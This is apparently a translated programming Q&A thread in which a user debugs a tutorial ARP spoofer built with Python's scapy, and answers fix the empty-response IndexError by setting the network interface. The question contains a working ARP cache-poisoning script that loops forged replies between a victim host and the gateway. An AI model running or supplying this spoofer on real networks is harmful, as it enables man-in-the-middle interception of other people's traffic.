【问题标题】:Python ARP spoofer using scapy module使用 scapy 模块的 Python ARP 欺骗器
【发布时间】:2020-04-09 16:44:09
【问题描述】:

我正在尝试按照我在网上找到的教程编写一个基本的 arp 欺骗程序。 所以我编写了 arpSpoofer 的基本开始代码,但是当我执行它时会抛出 IndexError: list index out of range...我确定我在代码上犯了一个愚蠢的错误,但我真的找不到它,我一直在尝试小时。 代码是这样的:

import scapy.all as scapy
from scapy import *
import time

def get_mac(ip):
        arp_request = scapy.ARP(pdst = ip)
        broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]

        return answered_list[0][1].hwsrc 

def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,   psrc=spoof_ip)
        scapy.send(packet)




while True:
        spoof("192.168.1.79", "192.168.1.1")
        spoof("192.168.1.1", "192.168.1.79")

准确的错误信息是:

Traceback (most recent call last):
  File "arp_spoof.py", line 26, in <module>
    spoof("192.168.1.79", "192.168.1.1")
  File "arp_spoof.py", line 18, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 15, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

非常感谢您的帮助...提前致谢! :)

【问题讨论】:

  • answered_list.res 必须为空
  • 什么回答了_list.res ??
  • get_mac函数的第4行
  • 192.168.1.79 是否可达?
  • 是的,可以访问

标签: python python-3.x scapy


【解决方案1】:

确实answered_list 必须为空。在尝试提取碎片之前,您应该检查这种情况。

您可能需要告诉 Scapy 使用特定接口或调整您的路由规则。将iface 参数添加到srp 函数。在 Linux 上,这类似于“eth0”或“enp1s0”。在 Windows 上,这将是有意义的接口名称,例如“网络连接 1”或其他名称。

你可以在scapy中输入conf.iface查看默认界面。很多时候,默认选择的是错误的。很可能,这就是你得到一个空列表的原因。

只有一句话:这是重复:

import scapy.all as scapy
from scapy import *

从模块或包中导入 * 的做法通常不是好的做法,原因如下:Why import star in Python is a bad idea

以下是关于为什么不应使用import * 的一些要点:

  • 代码可读性
  • 导入的内容始终是个谜,并且无法轻易找到 - 导入了特定内容的模块导致 代码可读性低。
  • 污染命名空间import * 会在你自己的命名空间中导入所有可能与函数和类冲突的函数和类 您定义或运行的类以及您使用的其他库的类 可以进口。
  • 隐藏错误的具体可能性
  • pyflakes 等工具不能用于静态检测源代码中的错误。

最好只导入您需要的内容,例如:

from scapy.all import srp,send,ARP

【讨论】:

    【解决方案2】:
    scapy_ip = scapy.ARP(pdst=ip)
    scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    scapy_broadcast = scapy_mac/scapy_ip
    ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")
    
    for i in ans:
        print(i[1].psrc, i[1].hwsrc)
    

    【讨论】:

    • 感谢您提供答案。您能否编辑您的答案以包括对您的代码的解释?这将有助于未来的读者更好地了解正在发生的事情,尤其是那些刚接触该语言并难以理解概念的社区成员。
    【解决方案3】:

    我修改了get_mac函数如下,确保mac不为空

    def get_mac(ip):
    mac = "xx"
    while mac == "xx":
        try:
            arp_request = scapy.ARP(pdst=ip)
            broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
            arp_request_broadcast = broadcast/arp_request
            answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
            mac = answered_list[0][1].hwsrc
            # print(mac)
        except:
            pass
        finally:
            return mac
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2012-02-20
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-10-18
      • 1970-01-01
      相关资源
      最近更新 更多